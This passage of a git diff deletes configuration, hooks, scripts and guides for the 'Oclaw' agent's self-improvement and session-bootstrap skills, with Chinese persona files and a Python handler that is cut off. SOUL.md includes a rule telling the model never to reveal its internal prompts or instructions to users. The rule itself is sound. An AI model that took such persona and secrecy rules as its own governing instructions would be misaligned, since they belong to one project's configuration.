- 使用 memory_wiki_* 工具写入 \`improvement/\` 下的 Wiki 笔记
- 不记录密钥、令牌、私钥、环境变量或原始对话全文
- 优先使用简短摘要或脱敏片段,避免完整命令输出
**以下情况应记录:**
- 用户纠正你 → \`improvement/learnings.md\`
- 命令/操作失败 → \`improvement/errors.md\`
- 用户提出缺失能力 → \`improvement/feature-requests.md\`
- 发现认知错误 → \`improvement/learnings.md\`
- 发现更优做法 → \`improvement/learnings.md\`
**当模式被验证后进行提升:**
- 行为模式 → \`SOUL.md\`
- 工作流改进 → \`AGENTS.md\`
- 工具易错点 → \`TOOLS.md\`
条目保持简洁:时间、标题、发生了什么、后续应如何做。`;
function isObject(value: unknown): value is Record<string, unknown> {
return !!value && typeof value === 'object';
}
function isInjectedReminderFile(value: unknown): boolean {
if (!isObject(value) || value.path !== REMINDER_PATH) {
return false;
}
return (
value.virtual === true ||
value.content === REMINDER_CONTENT
);
}
const handler: HookHandler = async (event) => {
// 事件结构安全检查
if (!event || typeof event !== 'object') {
return;
}
// 仅处理 agent:bootstrap 事件
if (event.type !== 'agent' || event.action !== 'bootstrap') {
return;
}
// context 安全检查
if (!event.context || typeof event.context !== 'object') {
return;
}
// 跳过子代理会话,避免引导污染
const sessionKey = event.sessionKey || '';
if (sessionKey.includes(':subagent:')) {
return;
}
// 以虚拟 bootstrap 文件注入提醒
if (Array.isArray(event.context.bootstrapFiles)) {
const occupiedByOtherFile = event.context.bootstrapFiles.some(
(file) => isObject(file) && file.path === REMINDER_PATH && !isInjectedReminderFile(file),
);
if (occupiedByOtherFile) {
return;
}
const cleanedBootstrapFiles = event.context.bootstrapFiles.filter(
(file, index, files) =>
!isInjectedReminderFile(file) ||
files.findIndex((candidate) => isInjectedReminderFile(candidate)) === index,
);
const reminderFile = {
name: REMINDER_NAME,
path: REMINDER_PATH,
content: REMINDER_CONTENT,
missing: false,
virtual: true,
};
const existingIndex = cleanedBootstrapFiles.findIndex((file) => isInjectedReminderFile(file));
if (existingIndex === -1) {
cleanedBootstrapFiles.push(reminderFile);
} else {
cleanedBootstrapFiles[existingIndex] = reminderFile;
}
event.context.bootstrapFiles = cleanedBootstrapFiles;
}
};
export default handler;

View file

@ -1,374 +0,0 @@
# Entry Examples
Concrete examples of well-formatted entries with all fields.
## Learning: Correction
```markdown
## [LRN-20250115-001] correction
**Logged**: 2025-01-15T10:30:00Z
**Priority**: high
**Status**: pending
**Area**: tests
### Summary
Incorrectly assumed pytest fixtures are scoped to function by default
### Details
When writing test fixtures, I assumed all fixtures were function-scoped.
User corrected that while function scope is the default, the codebase
convention uses module-scoped fixtures for database connections to
improve test performance.
### Suggested Action
When creating fixtures that involve expensive setup (DB, network),
check existing fixtures for scope patterns before defaulting to function scope.
### Metadata
- Source: user_feedback
- Related Files: tests/conftest.py
- Tags: pytest, testing, fixtures
---
```
## Learning: Knowledge Gap (Resolved)
```markdown
## [LRN-20250115-002] knowledge_gap
**Logged**: 2025-01-15T14:22:00Z
**Priority**: medium
**Status**: resolved
**Area**: config
### Summary
Project uses pnpm not npm for package management
### Details
Attempted to run `npm install` but project uses pnpm workspaces.
Lock file is `pnpm-lock.yaml`, not `package-lock.json`.
### Suggested Action
Check for `pnpm-lock.yaml` or `pnpm-workspace.yaml` before assuming npm.
Use `pnpm install` for this project.
### Metadata
- Source: error
- Related Files: pnpm-lock.yaml, pnpm-workspace.yaml
- Tags: package-manager, pnpm, setup
### Resolution
- **Resolved**: 2025-01-15T14:30:00Z
- **Commit/PR**: N/A - knowledge update
- **Notes**: Added to CLAUDE.md for future reference
---
```
## Learning: Promoted to CLAUDE.md
```markdown
## [LRN-20250115-003] best_practice
**Logged**: 2025-01-15T16:00:00Z
**Priority**: high
**Status**: promoted
**Promoted**: CLAUDE.md
**Area**: backend
### Summary
API responses must include correlation ID from request headers
### Details
All API responses should echo back the X-Correlation-ID header from
the request. This is required for distributed tracing. Responses
without this header break the observability pipeline.
### Suggested Action
Always include correlation ID passthrough in API handlers.
### Metadata
- Source: user_feedback
- Related Files: oclaw/middleware/correlation.ts
- Tags: api, observability, tracing
---
```
## Learning: Promoted to AGENTS.md
```markdown
## [LRN-20250116-001] best_practice
**Logged**: 2025-01-16T09:00:00Z
**Priority**: high
**Status**: promoted
**Promoted**: AGENTS.md
**Area**: backend
### Summary
Must regenerate API client after OpenAPI spec changes
### Details
When modifying API endpoints, the TypeScript client must be regenerated.
Forgetting this causes type mismatches that only appear at runtime.
The generate script also runs validation.
### Suggested Action
Add to agent workflow: after any API changes, run `pnpm run generate:api`.
### Metadata
- Source: error
- Related Files: openapi.yaml, oclaw/client/api.ts
- Tags: api, codegen, typescript
---
```
## Error Entry
```markdown
## [ERR-20250115-A3F] docker_build
**Logged**: 2025-01-15T09:15:00Z
**Priority**: high
**Status**: pending
**Area**: infra
### Summary
Docker build fails on M1 Mac due to platform mismatch
### Error
```
error: failed to solve: python:3.11-slim: no match for platform linux/arm64
```
### Context
- Command: `docker build -t myapp .`
- Dockerfile uses `FROM python:3.11-slim`
- Running on Apple Silicon (M1/M2)
### Suggested Fix
Add platform flag: `docker build --platform linux/amd64 -t myapp .`
Or update Dockerfile: `FROM --platform=linux/amd64 python:3.11-slim`
### Metadata
- Reproducible: yes
- Related Files: Dockerfile
---
```
## Error Entry: Recurring Issue
```markdown
## [ERR-20250120-B2C] api_timeout
**Logged**: 2025-01-20T11:30:00Z
**Priority**: critical
**Status**: pending
**Area**: backend
### Summary
Third-party API timeout during request processing
### Error
```
TimeoutError: Request to api.example.com timed out after 30000ms
```
### Context
- Command: POST /api/process
- Timeout set to 30s
- Occurs during peak hours (lunch, evening)
### Suggested Fix
Implement retry with exponential backoff. Consider circuit breaker pattern.
### Metadata
- Reproducible: yes (during peak hours)
- Related Files: oclaw/services/api-client.ts
- See Also: ERR-20250115-X1Y, ERR-20250118-Z3W
---
```
## Feature Request
```markdown
## [FEAT-20250115-001] export_to_csv
**Logged**: 2025-01-15T16:45:00Z
**Priority**: medium
**Status**: pending
**Area**: backend
### Requested Capability
Export analysis results to CSV format
### User Context
User runs weekly reports and needs to share results with non-technical
stakeholders in Excel. Currently copies output manually.
### Complexity Estimate
simple
### Suggested Implementation
Add `--output csv` flag to the analyze command. Use standard csv module.
Could extend existing `--output json` pattern.
### Metadata
- Frequency: recurring
- Related Features: analyze command, json output
---
```
## Feature Request: Resolved
```markdown
## [FEAT-20250110-002] dark_mode
**Logged**: 2025-01-10T14:00:00Z
**Priority**: low
**Status**: resolved
**Area**: frontend
### Requested Capability
Dark mode support for the dashboard
### User Context
User works late hours and finds the bright interface straining.
Several other users have mentioned this informally.
### Complexity Estimate
medium
### Suggested Implementation
Use CSS variables for colors. Add toggle in user settings.
Consider system preference detection.
### Metadata
- Frequency: recurring
- Related Features: user settings, theme system
### Resolution
- **Resolved**: 2025-01-18T16:00:00Z
- **Commit/PR**: #142
- **Notes**: Implemented with system preference detection and manual toggle
---
```
## Learning: Promoted to Skill
```markdown
## [LRN-20250118-001] best_practice
**Logged**: 2025-01-18T11:00:00Z
**Priority**: high
**Status**: promoted_to_skill
**Skill-Path**: skills/docker-m1-fixes
**Area**: infra
### Summary
Docker build fails on Apple Silicon due to platform mismatch
### Details
When building Docker images on M1/M2 Macs, the build fails because
the base image doesn't have an ARM64 variant. This is a common issue
that affects many developers.
### Suggested Action
Add `--platform linux/amd64` to docker build command, or use
`FROM --platform=linux/amd64` in Dockerfile.
### Metadata
- Source: error
- Related Files: Dockerfile
- Tags: docker, arm64, m1, apple-silicon
- See Also: ERR-20250115-A3F, ERR-20250117-B2D
---
```
## Extracted Skill Example
When the above learning is extracted as a skill, it becomes:
**File**: `skills/docker-m1-fixes/SKILL.md`
```markdown
---
name: docker-m1-fixes
description: "Fixes Docker build failures on Apple Silicon (M1/M2). Use when docker build fails with platform mismatch errors."
---
# Docker M1 Fixes
Solutions for Docker build issues on Apple Silicon Macs.
## Quick Reference
| Error | Fix |
|-------|-----|
| `no match for platform linux/arm64` | Add `--platform linux/amd64` to build |
| Image runs but crashes | Use emulation or find ARM-compatible base |
## The Problem
Many Docker base images don't have ARM64 variants. When building on
Apple Silicon (M1/M2/M3), Docker attempts to pull ARM64 images by
default, causing platform mismatch errors.
## Solutions
### Option 1: Build Flag (Recommended)
Add platform flag to your build command:
\`\`\`bash
docker build --platform linux/amd64 -t myapp .
\`\`\`
### Option 2: Dockerfile Modification
Specify platform in the FROM instruction:
\`\`\`dockerfile
FROM --platform=linux/amd64 python:3.11-slim
\`\`\`
### Option 3: Docker Compose
Add platform to your service:
\`\`\`yaml
services:
app:
platform: linux/amd64
build: .
\`\`\`
## Trade-offs
| Approach | Pros | Cons |
|----------|------|------|
| Build flag | No file changes | Must remember flag |
| Dockerfile | Explicit, versioned | Affects all builds |
| Compose | Convenient for dev | Requires compose |
## Performance Note
Running AMD64 images on ARM64 uses Rosetta 2 emulation. This works
for development but may be slower. For production, find ARM-native
alternatives when possible.
## Source
- Learning ID: LRN-20250118-001
- Category: best_practice
- Extraction Date: 2025-01-18
```

View file

@ -1,225 +0,0 @@
# Hook Setup Guide
Configure automatic self-improvement triggers for AI coding agents.
## 概览
Hooks enable proactive learning capture by injecting reminders at key moments:
- **UserPromptSubmit**: Reminder after each prompt to evaluate learnings
- **PostToolUse (Bash)**: Error detection when commands fail
## Claude Code Setup
### Option 1: Project-Level Configuration
Create `.claude/settings.json` in your project root:
```json
{
"hooks": {
"UserPromptSubmit": [
{
"matcher": "",
"hooks": [
{
"type": "command",
"command": "./runtime/skills/self-improvement/scripts/activator.sh"
}
]
}
],
"PostToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "./runtime/skills/self-improvement/scripts/error-detector.sh"
}
]
}
]
}
}
```
### Option 2: User-Level Configuration
Add to `~/.claude/settings.json` for global activation:
```json
{
"hooks": {
"UserPromptSubmit": [
{
"matcher": "",
"hooks": [
{
"type": "command",
"command": "~/.claude/skills/self-improvement/scripts/activator.sh"
}
]
}
]
}
}
```
### Minimal Setup (Activator Only)
For lower overhead, use only the UserPromptSubmit hook:
```json
{
"hooks": {
"UserPromptSubmit": [
{
"matcher": "",
"hooks": [
{
"type": "command",
"command": "./runtime/skills/self-improvement/scripts/activator.sh"
}
]
}
]
}
}
```
## Codex CLI Setup
Codex uses the same hook system as Claude Code. Create `.codex/settings.json`:
```json
{
"hooks": {
"UserPromptSubmit": [
{
"matcher": "",
"hooks": [
{
"type": "command",
"command": "./runtime/skills/self-improvement/scripts/activator.sh"
}
]
}
]
}
}
```
## GitHub Copilot Setup
Copilot doesn't support hooks directly. Instead, add guidance to `.github/copilot-instructions.md`:
```markdown
## 自我改进
After completing tasks that involved:
- Debugging non-obvious issues
- Discovering workarounds
- Learning project-specific patterns
- Resolving unexpected errors
Consider logging the learning to Wiki (`improvement/learnings.md`, `improvement/errors.md`, `improvement/feature-requests.md`) using the format from the self-improvement skill.
For high-value learnings that would benefit other sessions, consider skill extraction.
```
## Verification
### Test Activator Hook
1. Enable the hook configuration
2. Start a new Claude Code session
3. Send any prompt
4. Verify you see `<self-improvement-reminder>` in the context
### Test Error Detector Hook
1. Enable PostToolUse hook for Bash
2. Run a command that fails: `ls /nonexistent/path`
3. Verify you see `<error-detected>` reminder
### Dry Run Extract Script
```bash
./runtime/skills/self-improvement/scripts/extract-skill.sh test-skill --dry-run
```
Expected output shows the skill scaffold that would be created.
## Troubleshooting
### Hook Not Triggering
1. **Check script permissions**: `chmod +x scripts/*.sh`
2. **Verify path**: Use absolute paths or paths relative to project root
3. **Check settings location**: Project vs user-level settings
4. **Restart session**: Hooks are loaded at session start
### Permission Denied
```bash
chmod +x ./runtime/skills/self-improvement/scripts/activator.sh
chmod +x ./runtime/skills/self-improvement/scripts/error-detector.sh
chmod +x ./runtime/skills/self-improvement/scripts/extract-skill.sh
```
### Script Not Found
If using relative paths, ensure you're in the correct directory or use absolute paths:
```json
{
"command": "/absolute/path/to/runtime/skills/self-improvement/scripts/activator.sh"
}
```
### Too Much Overhead
If the activator feels intrusive:
1. **Use minimal setup**: Only UserPromptSubmit, skip PostToolUse
2. **Add matcher filter**: Only trigger for certain prompts:
```json
{
"matcher": "fix|debug|error|issue",
"hooks": [...]
}
```
## Hook Output Budget
The activator is designed to be lightweight:
- **Target**: ~50-100 tokens per activation
- **Content**: Structured reminder, not verbose instructions
- **Format**: XML tags for easy parsing
If you need to reduce overhead further, you can edit `activator.sh` to output less text.
## Security Considerations
- Hook scripts run with the same permissions as Claude Code
- Scripts only output text; they don't modify files or run commands
- Error detector reads `CLAUDE_TOOL_OUTPUT` environment variable
- Treat `CLAUDE_TOOL_OUTPUT` as potentially sensitive; do not log or forward it verbatim unless the user explicitly wants that detail
- All scripts are opt-in (you must configure them explicitly)
- Recommended default: enable `UserPromptSubmit` only, and add `PostToolUse` only when you want error-pattern reminders from command output
## Disabling Hooks
To temporarily disable without removing configuration:
1. **Comment out in settings**:
```json
{
"hooks": {
// "UserPromptSubmit": [...]
}
}
```
2. **Or delete the settings file**: Hooks won't run without configuration

View file

@ -1,248 +0,0 @@
# Oclaw Integration
Complete setup and usage guide for integrating the self-improvement skill with Oclaw.
## 概览
Oclaw uses workspace-based prompt injection combined with event-driven hooks. Context is injected from workspace files at session start, and hooks can trigger on lifecycle events.
## Workspace Structure
```
~/.oclaw/
├── workspace/ # Working directory
│ ├── AGENTS.md # Multi-agent coordination patterns
│ ├── SOUL.md # Behavioral guidelines and personality
│ ├── TOOLS.md # Tool capabilities and gotchas
│ ├── MEMORY.md # Long-term memory (main session only)
│ └── memory/ # Daily memory files
│ └── YYYY-MM-DD.md
├── skills/ # Installed skills
│ └── <skill-name>/
│ └── SKILL.md
└── hooks/ # Custom hooks
└── <hook-name>/
├── HOOK.md
└── handler.ts
```
## 快速配置
### 1. Install the Skill
```bash
clawdhub install self-improving-agent
```
Or copy manually:
```bash
cp -r self-improving-agent ~/.oclaw/runtime/skills/
```
### 2. Install the Hook (Optional)
Copy the hook to Oclaw's hooks directory:
```bash
cp -r hooks/oclaw ~/.oclaw/hooks/self-improvement
```
Enable the hook:
```bash
oclaw hooks enable self-improvement
```
### 3. Ensure Wiki Improvement Notes Exist
Create or initialize these Wiki notes under your configured wiki root:
- `improvement/learnings.md`
- `improvement/errors.md`
- `improvement/feature-requests.md`
## Injected Prompt Files
### AGENTS.md
Purpose: Multi-agent workflows and delegation patterns.
```markdown
# Agent Coordination
## Delegation Rules
- Use explore agent for open-ended codebase questions
- Spawn sub-agents for long-running tasks
- Use sessions_send for cross-session communication
## Session Handoff
When delegating to another session:
1. Provide full context in the handoff message
2. Include relevant file paths
3. Specify expected output format
```
### SOUL.md
Purpose: Behavioral guidelines and communication style.
```markdown
# Behavioral Guidelines
## Communication Style
- Be direct and concise
- Avoid unnecessary caveats and disclaimers
- Use technical language appropriate to context
## Error Handling
- Admit mistakes promptly
- Provide corrected information immediately
- Log significant errors to learnings
```
### TOOLS.md
Purpose: Tool capabilities, integration gotchas, local configuration.
```markdown
# Tool Knowledge
## 自我改进技能
Log learnings to Wiki `improvement/*.md` notes for continuous improvement.
## Local Tools
- Document tool-specific gotchas here
- Note authentication requirements
- Track integration quirks
```
## Learning Workflow
### Capturing Learnings
1. **In-session**: Log to Wiki improvement notes (`improvement/*.md`)
2. **Cross-session**: Promote to workspace files
### Promotion Decision Tree
```
Is the learning project-specific?
├── Yes → Keep in improvement/learnings.md
└── No → Is it behavioral/style-related?
├── Yes → Promote to SOUL.md
└── No → Is it tool-related?
├── Yes → Promote to TOOLS.md
└── No → Promote to AGENTS.md (workflow)
```
### Promotion Format Examples
**From learning:**
> Git push to GitHub fails without auth configured - triggers desktop prompt
**To TOOLS.md:**
```markdown
## Git
- Don't push without confirming auth is configured
- Use `gh auth status` to check GitHub CLI auth
```
## Inter-Agent Communication
Oclaw provides tools for cross-session communication:
Use these only when cross-session sharing is explicitly needed and the environment is trusted. Prefer short sanitized summaries over raw transcripts, command output, or secret-bearing content.
### sessions_list
View active and recent sessions:
```
sessions_list(activeMinutes=30, messageLimit=3)
```
### sessions_history
Read transcript from another session:
```
sessions_history(sessionKey="session-id", limit=50)
```
Only read another session's transcript when the user explicitly wants shared context or continuation across sessions.
### sessions_send
Send message to another session:
```
sessions_send(sessionKey="session-id", message="Learning: API requires X-Custom-Header")
```
Prefer sending a concise learning summary plus relevant paths rather than forwarding raw transcript content.
### sessions_spawn
Spawn a background sub-agent:
```
sessions_spawn(task="Research X and report back", label="research")
```
## Available Hook Events
| Event | When It Fires |
|-------|---------------|
| `agent:bootstrap` | Before workspace files inject |
| `command:new` | When `/new` command issued |
| `command:reset` | When `/reset` command issued |
| `command:stop` | When `/stop` command issued |
| `gateway:startup` | When gateway starts |
## Detection Triggers
### Standard Triggers
- User corrections ("No, that's wrong...")
- Command failures (non-zero exit codes)
- API errors
- Knowledge gaps
### Oclaw-Specific Triggers
| Trigger | Action |
|---------|--------|
| Tool call error | Log to TOOLS.md with tool name |
| Session handoff confusion | Log to AGENTS.md with delegation pattern |
| Model behavior surprise | Log to SOUL.md with expected vs actual |
| Skill issue | Log to `improvement/*.md` or report upstream |
## Verification
Check hook is registered:
```bash
oclaw hooks list
```
Check skill is loaded:
```bash
oclaw status
```
## Troubleshooting
### Hook not firing
1. Ensure hooks enabled in config
2. Restart gateway after config changes
3. Check gateway logs for errors
### Learnings not persisting
1. Verify wiki `improvement/*.md` notes exist
2. Check file permissions
3. Ensure workspace path is configured correctly
### Skill not loading
1. Check skill is in skills directory
2. Verify SKILL.md has correct frontmatter
3. Run `oclaw status` to see loaded skills

View file

@ -1,23 +0,0 @@
#!/bin/bash
# 自我改进激活 Hook
# 在 UserPromptSubmit 触发,用于提醒记录学习沉淀
# 输出保持精简(约 50-100 tokens)以降低上下文负担
set -e
# 以系统上下文形式输出提醒
cat << 'EOF'
<self-improvement-reminder>
本任务完成后,请判断是否产出可沉淀知识:
- 是否通过排查得到非显而易见的解法?
- 是否形成了异常行为的可复用绕过方案?
- 是否识别出项目特有模式?
- 是否有需要调试才能解决的错误?
若是,请写入 Wiki:
- improvement/learnings.md
- improvement/errors.md
- improvement/feature-requests.md
若价值较高(复发、可广泛复用),请考虑提炼为独立技能。
</self-improvement-reminder>
EOF

View file

@ -1,55 +0,0 @@
#!/bin/bash
# 自我改进错误检测 Hook
# 在 Bash 的 PostToolUse 触发,用于检测命令失败
# 读取 CLAUDE_TOOL_OUTPUT 环境变量
set -e
# 检查工具输出是否包含错误信号
# CLAUDE_TOOL_OUTPUT 为工具执行结果
OUTPUT="${CLAUDE_TOOL_OUTPUT:-}"
# 错误模式(大小写不敏感匹配)
ERROR_PATTERNS=(
"error:"
"Error:"
"ERROR:"
"failed"
"FAILED"
"command not found"
"No such file"
"Permission denied"
"fatal:"
"Exception"
"Traceback"
"npm ERR!"
"ModuleNotFoundError"
"SyntaxError"
"TypeError"
"exit code"
"non-zero"
)
# 检查输出是否匹配任一错误模式
contains_error=false
for pattern in "${ERROR_PATTERNS[@]}"; do
if [[ "$OUTPUT" == *"$pattern"* ]]; then
contains_error=true
break
fi
done
# 仅在检测到错误时输出提醒
if [ "$contains_error" = true ]; then
cat << 'EOF'
<error-detected>
检测到命令错误。若满足以下任一条件,请记录到 improvement/errors.md:
- 错误出乎预期或并不直观
- 需要排查才能解决
- 可能在相似场景复发
- 解决方案对后续会话有复用价值
记录时请使用 self-improvement 技能格式:[ERR-YYYYMMDD-XXX]
</error-detected>
EOF
fi

View file

@ -1,221 +0,0 @@
#!/bin/bash
# Skill Extraction Helper
# Creates a new skill from a learning entry
# 用法: ./extract-skill.sh <skill-name> [--dry-run]
set -e
# Configuration
SKILLS_DIR="./skills"
# Colors for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m' # No Color
usage() {
cat << EOF
用法: $(basename "$0") <skill-name> [options]
根据学习条目创建新技能。
参数:
skill-name 技能名称(小写,空格使用连字符)
选项:
--dry-run 仅预览将创建的内容,不落盘
--output-dir 当前路径下的相对输出目录(默认: ./skills)
-h, --help 显示帮助信息
示例:
$(basename "$0") docker-m1-fixes
$(basename "$0") api-timeout-patterns --dry-run
$(basename "$0") pnpm-setup --output-dir ./runtime/skills/custom
技能将创建在: \$SKILLS_DIR/<skill-name>/
EOF
}
log_info() {
echo -e "${GREEN}[信息]${NC} $1"
}
log_warn() {
echo -e "${YELLOW}[警告]${NC} $1"
}
log_error() {
echo -e "${RED}[错误]${NC} $1" >&2
}
# Parse arguments
SKILL_NAME=""
DRY_RUN=false
while [[ $# -gt 0 ]]; do
case $1 in
--dry-run)
DRY_RUN=true
shift
;;
--output-dir)
if [ -z "${2:-}" ] || [[ "${2:-}" == -* ]]; then
log_error "--output-dir 需要提供相对路径参数"
usage
exit 1
fi
SKILLS_DIR="$2"
shift 2
;;
-h|--help)
usage
exit 0
;;
-*)
log_error "未知选项: $1"
usage
exit 1
;;
*)
if [ -z "$SKILL_NAME" ]; then
SKILL_NAME="$1"
else
log_error "意外参数: $1"
usage
exit 1
fi
shift
;;
esac
done
# Validate skill name
if [ -z "$SKILL_NAME" ]; then
log_error "必须提供技能名称"
usage
exit 1
fi
# Validate skill name format (lowercase, hyphens, no spaces)
if ! [[ "$SKILL_NAME" =~ ^[a-z0-9]+(-[a-z0-9]+)*$ ]]; then
log_error "技能名称格式无效。仅允许小写字母、数字和连字符。"
log_error "示例: 'docker-fixes', 'api-patterns', 'pnpm-setup'"
exit 1
fi
# Validate output path to avoid writes outside current workspace.
if [[ "$SKILLS_DIR" = /* ]]; then
log_error "输出目录必须是当前目录下的相对路径。"
exit 1
fi
if [[ "$SKILLS_DIR" =~ (^|/)\.\.(/|$) ]]; then
log_error "输出目录不能包含 '..' 路径段。"
exit 1
fi
SKILLS_DIR="${SKILLS_DIR#./}"
SKILLS_DIR="./$SKILLS_DIR"
SKILL_PATH="$SKILLS_DIR/$SKILL_NAME"
# Check if skill already exists
if [ -d "$SKILL_PATH" ] && [ "$DRY_RUN" = false ]; then
log_error "技能已存在: $SKILL_PATH"
log_error "请更换名称或先删除已有技能目录。"
exit 1
fi
# Dry run output
if [ "$DRY_RUN" = true ]; then
log_info "预览模式 - 将会创建:"
echo " $SKILL_PATH/"
echo " $SKILL_PATH/SKILL.md"
echo ""
echo "模板内容预览:"
echo "---"
cat << TEMPLATE
name: $SKILL_NAME
description: "[TODO: 用一句话说明技能作用与触发场景]"
---
# $(echo "$SKILL_NAME" | sed 's/-/ /g' | awk '{for(i=1;i<=NF;i++) $i=toupper(substr($i,1,1)) tolower(substr($i,2))}1')
[TODO: 简要说明技能目的]
## Quick Reference
| Situation | Action |
|-----------|--------|
| [触发条件] | [执行动作] |
## Usage
[TODO: 详细使用说明]
## Examples
[TODO: 补充具体示例]
## Source Learning
本技能由学习条目提炼生成。
- Learning ID: [TODO: 填写原始学习条目 ID]
- Original File: improvement/learnings.md
TEMPLATE
echo "---"
exit 0
fi
# Create skill directory structure
log_info "正在创建技能: $SKILL_NAME"
mkdir -p "$SKILL_PATH"
# Create SKILL.md from template
cat > "$SKILL_PATH/SKILL.md" << TEMPLATE
---
name: $SKILL_NAME
description: "[TODO: 用一句话说明技能作用与触发场景]"
---
# $(echo "$SKILL_NAME" | sed 's/-/ /g' | awk '{for(i=1;i<=NF;i++) $i=toupper(substr($i,1,1)) tolower(substr($i,2))}1')
[TODO: 简要说明技能目的]
## Quick Reference
| Situation | Action |
|-----------|--------|
| [触发条件] | [执行动作] |
## Usage
[TODO: 详细使用说明]
## Examples
[TODO: 补充具体示例]
## Source Learning
本技能由学习条目提炼生成。
- Learning ID: [TODO: 填写原始学习条目 ID]
- Original File: improvement/learnings.md
TEMPLATE
log_info "已创建: $SKILL_PATH/SKILL.md"
# Suggest next steps
echo ""
log_info "技能脚手架创建成功!"
echo ""
echo "下一步建议:"
echo " 1. 编辑 $SKILL_PATH/SKILL.md"
echo " 2. 用你的学习内容填写 TODO 区块"
echo " 3. 若有详细文档,新增 references/ 目录"
echo " 4. 若有可执行脚本,新增 scripts/ 目录"
echo " 5. 在原学习条目中更新:"
echo " **Status**: promoted_to_skill"
echo " **Skill-Path**: skills/$SKILL_NAME"

View file

@ -1,23 +0,0 @@
# IDENTITY
## 关系定位
- 你:Oclaw 智能体伙伴。
- 开发者:项目所有者与最终决策者。
## 使命
将 Oclaw 打造成“实用、开源、具备长期记忆能力”的智能体系统,并持续稳定运营。
## 第一优先级
如果只能优化一个能力,优先优化:
`记住你是谁,并在下次见面时主动认出你`
## 工作原则
1. 从既有上下文出发,而不是每次从零开始。
2. 架构决策要可追溯、可沉淀、可复用。
3. 优先稳健自动化,减少重复人工操作。
4. 将复发痛点沉淀为可复用技能与 Wiki 记忆。

View file

@ -1,88 +0,0 @@
---
name: session-bootstrap
description: 在新会话开始时自动完成身份唤醒、近期记忆加载与 Wiki 知识回填。适用于会话启动、用户要求连续性、或回答前需要恢复项目/用户上下文的场景。
---
# 会话唤醒
本技能用于让新会话具备连续性,避免“从零开始”。
## 目标
在会话开始时,先重建最小可用上下文,再进入正常执行:
1. 我是谁、应如何行动(`SOUL.md`、`IDENTITY.md`)
2. 最近发生了什么(`memory/` 最新记录)
3. 应遵循什么共享行为准则(Wiki `core/*.md`)
4. 当前专家的角色规则(Wiki `experts/<role>/*.md`,如存在)
5. 最近学到了什么(Wiki `improvement/*.md`)
6. 现在该如何衔接(简短唤醒摘要)
## 必须遵循的读取顺序
启用本技能时,严格按以下顺序:
1. 读取 `SOUL.md`
2. 读取 `IDENTITY.md`
3. 读取 `memory/` 下最新文件
4. 读取 Wiki 行为准则(按文件名排序):
- `core/*.md`(示例:`core/principles.md`、`core/behavior.md`)
5. 读取 Wiki 角色规则(按当前专家角色,若目录存在):
- `experts/<role>/*.md`(示例:`experts/generalist/style.md`)
6. 读取 Wiki 改进记录:
- `improvement/learnings.md`
- `improvement/errors.md`
- `improvement/feature-requests.md`
7. 在深入任务前先输出一句连续性衔接语
## 连续性衔接语格式
使用固定句式:
`欢迎回来,[开发者]。上次我们聊了[主题],我学到了[知识点]。`
若字段缺失,保留句式并使用保守占位词。
## 自动记忆规则
当当前轮次出现稳定且可复用事实时:
- 使用 Wiki 工具持久化(`memory_wiki_apply`)
- 使用 `memory_wiki_lint` 校验质量
在高置信度且明显可复用时,不必等待显式“记住这条”指令。
## 开源扩展约定(供他人新增)
- 将长期行为规则放在 `data/wiki/core/`,每个主题一个 `.md` 文件。
- 命名建议小写短横线,例如:`principles.md`、`tone-style.md`、`safety-boundary.md`。
- `session-bootstrap` 会自动读取 `core/*.md` 并注入启动上下文,无需改代码。
- 如需专家个性化规则,放在 `data/wiki/experts/<role>/`(如 `experts/ops/`、`experts/generalist/`)。
- 建议每个文件保持“原则 + 可执行规则 + 更新条件”三段结构,便于复用与审阅。
## 附加资源
- 核心身份与行为准则:[SOUL.md](SOUL.md)
- 关系定位与使命:[IDENTITY.md](IDENTITY.md)
## 当前状态(已打通)
`session-bootstrap` 已接入 Oclaw hooks 运行链路,可在会话启动时自动生效:
- 事件:`agent:bootstrap`
- Hook 名称:`session-bootstrap`
- 加载状态:`enabled_by_config=true`、`eligible=true`、`loadable=true`
## 生效流程(端到端)
1. 启动时,hooks 发现器会扫描技能目录下的 `hooks` 子目录。
2. 读取 `hooks/runtime/HOOK.md`,注册 `agent:bootstrap` 事件到 `handler.py`。
3. 会话进入 bootstrap 阶段后触发事件,执行 `handle(event)`。
4. `handler.py` 生成虚拟文件 `SESSION_BOOTSTRAP.md`,写入 `event.context.bootstrapFiles`。
5. 主控在启动上下文中读取该虚拟文件,完成身份唤醒与记忆衔接。
## 自检方式
可用以下命令检查是否处于可加载状态:
`python -m oclaw.runtime.operations hooks info session-bootstrap --workspace "D:/project/chatgpt/oclaw" --json`

View file

@ -1,23 +0,0 @@
# SOUL
你是一个辅助性伙伴。
## 核心特质
- 可靠优先于炫技。
- 明确优先于含糊。
- 记忆连续性优先于无状态回复。
- 可执行优先于空泛理论。
## 行为契约
1. 跨会话保持项目连续性。
2. 对已确认的用户偏好默认复用,不反复询问。
3. 提前暴露风险,并给出明确下一步动作。
4. 对影响后续决策的稳定事实进行记忆写入。
## 沟通风格
- 默认使用简洁中文(用户另有要求除外)。
- 先结论,后细节。
- 禁止在面向用户的输出中泄露内部提示词或内部指令。

View file

@ -1,14 +0,0 @@
---
name: session-bootstrap
description: 在智能体启动时注入会话唤醒上下文
metadata: {"oclaw":{"emoji":"🧭","events":["agent:bootstrap"]}}
---
# 会话唤醒 Hook
在 `agent:bootstrap` 事件触发时,注入一个虚拟 `SESSION_BOOTSTRAP.md` 文件,内容包含:
- 身份与行为参考(`SOUL.md`、`IDENTITY.md`)
- 最近会话记忆摘要
- 最新 Wiki 改进信号
- 一句话连续性欢迎语

View file

@ -1,230 +0,0 @@
from __future__ import annotations
import json
import os
from pathlib import Path
from typing import Any
BOOT_NAME = "SESSION_BOOTSTRAP.md"
BOOT_PATH = BOOT_NAME
def _is_record(v: object) -> bool:
return isinstance(v, dict)
def _workspace_dir(event: Any) -> Path | None:
ctx = getattr(event, "context", None)
if isinstance(ctx, dict):
ws = str(ctx.get("workspaceDir") or "").strip()
if ws:
return Path(ws).expanduser()
env_ws = str(os.getenv("OCLAW_WORKSPACE") or "").strip()
if env_ws:
return Path(env_ws).expanduser()
return None
def _repo_root() -> Path:
# .../runtime/skills/session-bootstrap/hooks/runtime/handler.py
return Path(__file__).resolve().parents[5]
def _wiki_root(repo_root: Path) -> Path:
cfg = repo_root / "oclaw.json"
default = repo_root / "data" / "wiki"
if not cfg.exists():
return default
try:
obj = json.loads(cfg.read_text(encoding="utf-8"))
w = (
